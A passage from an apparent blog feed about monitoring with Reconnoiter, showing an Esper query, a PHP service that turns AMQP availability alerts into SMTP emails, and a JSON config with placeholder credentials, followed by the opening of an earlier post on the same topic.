&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.module as module,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.name as name,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.target as target
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;from
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NoitStatus.std:groupwin(uuid).win:length(2) ns,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CheckDetails cds
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;where
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cds.uuid = ns.uuid and
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ns.availability &lt;&gt; prev(ns.availability)) OR
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ns.state &lt;&gt; prev(ns.state))
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;]]&gt;&lt;/epl&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/query&gt;
</code></pre></p>
<p>This query will trigger an event every time the status changes from good to bad, or available to unavailable.</p>
<p>Finally, we&#8217;ll want something listening to the AMQP stream to act on the results of this query.</p>
<p>Because I&#8217;m lazy, I&#8217;m going to re-use the service I wrote <a href="http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/">last time</a>, just tweaking things for the availability/state changes. If I were less lazy, I&#8217;d re-write the code to be able to handle both cases simultaneously and merge them into one service.</p>
<p><pre><code class=prettyprint>
&lt;?php

require_once &quot;Mail.php&quot;;
$recon = new Reconnoiter_Availability_Alerting_Service();
$recon-&gt;runServer();

class Reconnoiter_Availability_Alerting_Service
{
&nbsp;&nbsp;private $_config = array();
&nbsp;&nbsp;private $_status = array();
&nbsp;&nbsp;private $_alerts = array();
&nbsp;&nbsp;private $_amqp;
&nbsp;&nbsp;private $_queue;

&nbsp;&nbsp;public function __construct()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_config = json_decode(file_get_contents(&#039;config_availability.json&#039;), true);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_amqp = new AMQPConnection(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;host&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;host&#039;],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;vhost&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;vhost&#039;],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;port&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;port&#039;],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;login&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;login&#039;],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;password&#039; =&gt; $this-&gt;_config[&#039;amqp&#039;][&#039;password&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp; );
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_amqp-&gt;connect();
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue = new AMQPQueue($this-&gt;_amqp);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue-&gt;declare($this-&gt;_config[&#039;amqp&#039;][&#039;queue&#039;]);
&nbsp;&nbsp;&nbsp;&nbsp; $this-&gt;_queue-&gt;bind(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;amqp&#039;][&#039;exchange&#039;],
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;amqp&#039;][&#039;routing_key&#039;]
&nbsp;&nbsp;&nbsp;&nbsp; );
&nbsp;&nbsp;}

&nbsp;&nbsp;public function runServer()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;do {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msg = null;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$msg = $this-&gt;_queue-&gt;get();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($msg[&#039;count&#039;] !== -1) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;echo &quot;Reveived message\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$payload = json_decode($msg[&#039;msg&#039;],true);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$payload = $payload[&#039;availability&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($payload) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (isset($this-&gt;_config[&#039;checks&#039;][$payload[&#039;uuid&#039;]])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_status[$payload[&#039;uuid&#039;]] = $payload;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;No message, checking status\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_checkStatus();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;} while ($msg[&#039;count&#039;] !== -1 || sleep(1) === 0);
&nbsp;&nbsp;}

&nbsp;&nbsp;private function _checkStatus()
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;foreach ($this-&gt;_status as $uuid =&gt; $data) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ($data[&#039;state&#039;] !== &#039;G&#039; || $data[&#039;availability&#039;] !== &#039;A&#039;) { // In bad state
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;State $uuid not OK!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$time = time();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (isset($this-&gt;_alerts[$uuid])) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Already in bad state
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($time - $this-&gt;_alerts[$uuid][&#039;initial_alert&#039;]) &gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;checks&#039;][$uuid][&#039;grace_period&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Over grace period
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!isset($this-&gt;_alerts[$uuid][&#039;last_alert&#039;]) ||
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;($time - $this-&gt;_alerts[$uuid][&#039;last_alert&#039;]) &gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_config[&#039;global&#039;][&#039;alert_freq&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// Hit alert frequency
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Sending alert for $uuid\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][&#039;sent_alert&#039;] = true;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][&#039;last_alert&#039;] = $time;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_sendAlert($uuid);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Not sending alert yet for $uuid haven&#039;t hit alert frequency timeout yet\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Switch to bad state for $uuid\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][&#039;sent_alert&#039;] = false;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_alerts[$uuid][&#039;initial_alert&#039;] = $time;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} else { // Recovery
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // echo &quot;Status $uuid OK!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;isset($this-&gt;_alerts[$uuid]) &amp;&amp; $this-&gt;_alerts[$uuid][&#039;sent_alert&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Recovery for $uuid\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;_sendAlert($uuid); // Recovery...
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unset($this-&gt;_alerts[$uuid]);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return true;
&nbsp;&nbsp;}

&nbsp;&nbsp;private function _sendAlert($uuid)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;$data = $this-&gt;_status[$uuid];
&nbsp;&nbsp;&nbsp;&nbsp;$data[&#039;description&#039;] = $this-&gt;_config[&#039;checks&#039;][$uuid][&#039;description&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$from = $this-&gt;_config[&#039;smtp&#039;][&#039;from&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$to = implode($this-&gt;_config[&#039;global&#039;][&#039;contacts&#039;],&quot;,&quot;);
&nbsp;&nbsp;&nbsp;&nbsp;$subject = sprintf(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ReConAvailability: %s:%s:%s:%s&quot;, $data[&#039;target&#039;], $data[&#039;module&#039;], $data[&#039;name&#039;], $data[&#039;status&#039;]
&nbsp;&nbsp;&nbsp;&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;$body = print_r($data, true);
&nbsp;&nbsp;&nbsp;&nbsp;$host = $this-&gt;_config[&#039;smtp&#039;][&#039;host&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$port = $this-&gt;_config[&#039;smtp&#039;][&#039;port&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$username = $this-&gt;_config[&#039;smtp&#039;][&#039;username&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$password = $this-&gt;_config[&#039;smtp&#039;][&#039;password&#039;];
&nbsp;&nbsp;&nbsp;&nbsp;$headers = array(&#039;From&#039; =&gt; $from,&#039;To&#039; =&gt; $to,&#039;Subject&#039; =&gt; $subject);
&nbsp;&nbsp;&nbsp;&nbsp;$smtp = Mail::factory(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;smtp&#039;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;array(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;host&#039; =&gt; $host,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;port&#039; =&gt; $port,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;auth&#039; =&gt; true,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;username&#039; =&gt; $username,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#039;password&#039; =&gt; $password
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;);
&nbsp;&nbsp;&nbsp;&nbsp;$mail = $smtp-&gt;send($to, $headers, $body);
&nbsp;&nbsp;&nbsp;&nbsp;if (PEAR::isError($mail)) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo $mail-&gt;getMessage() . &quot;\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;} else {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//echo &quot;Message successfully sent!\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
}
</code></pre></p>
<p>And the configuration file (config_availability.json):<br />
<pre><code class=prettyprint>
{
&quot;global&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;alert_freq&quot;:600,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;contacts&quot;:[&quot;example@gmail.com&quot;]
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;amqp&quot;:{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;host&quot;:&quot;127.0.0.1&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;vhost&quot;:&quot;/&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;port&quot;:5672,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;login&quot;:&quot;noit&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;password&quot;:&quot;noit&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;queue&quot;:&quot;availability&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;exchange&quot;:&quot;noit.alerts&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;routing_key&quot;:&quot;noit.alerts.availability&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;checks&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;1b4e28ba-2fa1-11d2-883f-b9b761bde3fb&quot;:{&quot;grace_period&quot;:10,&quot;description&quot;:&quot;Ping check&quot;},
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;95f1c1d7-e177-402a-9fae-3a7208cb240a&quot;:{&quot;grace_period&quot;:10,&quot;description&quot;:&quot;HTTP check&quot;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;},
&quot;smtp&quot;:
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;from&quot;:&quot;example@gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;host&quot;:&quot;ssl://smtp.gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;port&quot;:465,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;username&quot;:&quot;example@gmail.com&quot;,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;password&quot;:&quot;example&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
}
</code></pre></p>
<p>Once again, you have to configure the checks you want to receive alerts for. Also, not all the checks have a meaningful idea of what state really is. </p>
<p>For example, the HTTP check thinks non-200 HTTP responses means a bad state. Makes sense. </p>
<p>The SNMP module thinks good state is being able to poll all the OIDs configured in the check. Also makes sense, but it&#8217;s not intuitive. </p>
<p>That&#8217;s part of the reason I created the other threshold app in the previous post. While it&#8217;s good to know that noit was able to poll the device and retrieve the SNMP metrics, it&#8217;s even better to know if you&#8217;re getting an unexpected 10 Gbit/sec spike on your network without having to look at the graph. So really, it&#8217;s a mix and match approach. You&#8217;d probably want to use both the state/availability and threshold monitoring to get a clear picture of what&#8217;s going on at any given time.</p>
<p>There&#8217;s still a bunch of missing functionality here. To have a proper system,  you&#8217;d want escalation, maintenance windows, hysteresis, etc&#8230; On the flip side, I&#8217;m seriously thinking of doing some integration with <a href="http://www.pagerduty.com">Pagerduty</a> and just let them handle all of that nasty stuff. I&#8217;d just need push in the alerts. </p>
<p>I&#8217;ll eventually get around to creating a github with all of this. Until then, enjoy the copy-pasta.</p>
<p>Update:</p>
<p>Someone on the reconnoiter mailing list brought up the possibility of hooking into Nagios via the IEP. This seems like a good approach. See <a href="http://eng.wealthfront.com/2010/01/flexible-log-monitoring-with-scribe.html">here</a> for an example. I think an even easier way of doing this would be to create an AMQP to NSCA bridge. You could then parse out the nagios config, generate the EPL and you&#8217;d be golden. The downside is of course having to manage two systems (reconnoiter for managing data that gets gathered, and nagios for alerts). In theory, you could probably generate one config file from the other though. Hmmm&#8230;<br />
</p>
]]></content:encoded>
			<wfw:commentRss>http://www.control-alt-del.org/2011/10/31/monitoring-with-reconnoiter-part-deux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monitoring with Reconnoiter</title>
		<link>http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/</link>
		<comments>http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/#comments</comments>
		<pubDate>Tue, 25 Oct 2011 15:18:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.control-alt-del.org/?p=357</guid>
		<description><![CDATA[I&#8217;ve been keeping an eye on Reconnoiter for a while now, and decided to start getting my feet wet. Figuring out how to get the complex event processing working is a bit of a daunting task, as there is no &#8230; <a href="http://www.control-alt-del.org/2011/10/25/monitoring-with-reconnoiter/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been keeping an eye on Reconnoiter for a while now, and decided to start getting my feet wet.</p>
<p>Figuring out how to get the complex event processing working is a bit of a daunting task, as there is no documentation on how it works or how to use it with the Reconnoiter distribution. To understand what&#8217;s available, you have to start digging into the java code bits in the reconnoiter source tree and on the Esper documentation. To me this is the biggest barrier to adoption of Reconnoiter. Without monitoring and alerting, all you can do is graphing/trending which although slick you can get with other products (eg: Graphite) and doesn&#8217;t really showcase the power of Reconnoiter.</p>
<p>My goal is to put together basic functionality that handles the most common monitoring/alerting use cases. To me, this means </p>
<ul>
<li><del datetime="2011-10-25T19:18:29+00:00">triggering events when a metric is unavailable (both in the case where noitd can&#8217;t retrieve the data from the target, and if noitd fails to deliver a metric to stratcond).</del>  <strong>(Included in queries below)</strong></li>
<li><del datetime="2011-10-25T19:18:29+00:00">Be able to trigger events when thresholds are over/under a given value for a metric. </del> <strong>(Included in queries below)</strong></li>
<li><del datetime="2011-10-31T17:29:48+00:00">An alerting system that receives messages from the AMQP stream and acts intelligently with them. Typically this is where systems like Nagios have shined. I&#8217;ll start with just a simple AMQP to e-mail gateway and add more bells and whistles as we go (flap detection, hysteresis, maintenance windows, acknowledgements, etc&#8230;).</del>  <strong>Done! see below!</strong></li>
<li>A dashboard with the current status of selected metrics. </li>
</ul>
<p>Here&#8217;s what I have so far:</p>
<p><pre><code class=prettyprint>
&lt;queries master=&quot;iep&quot;&gt;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;statement id=&quot;6cc613a4-7f9c-11de-973f-db7e8ccb2e5c&quot; provides=&quot;CheckDetails-ddl&quot;&gt;
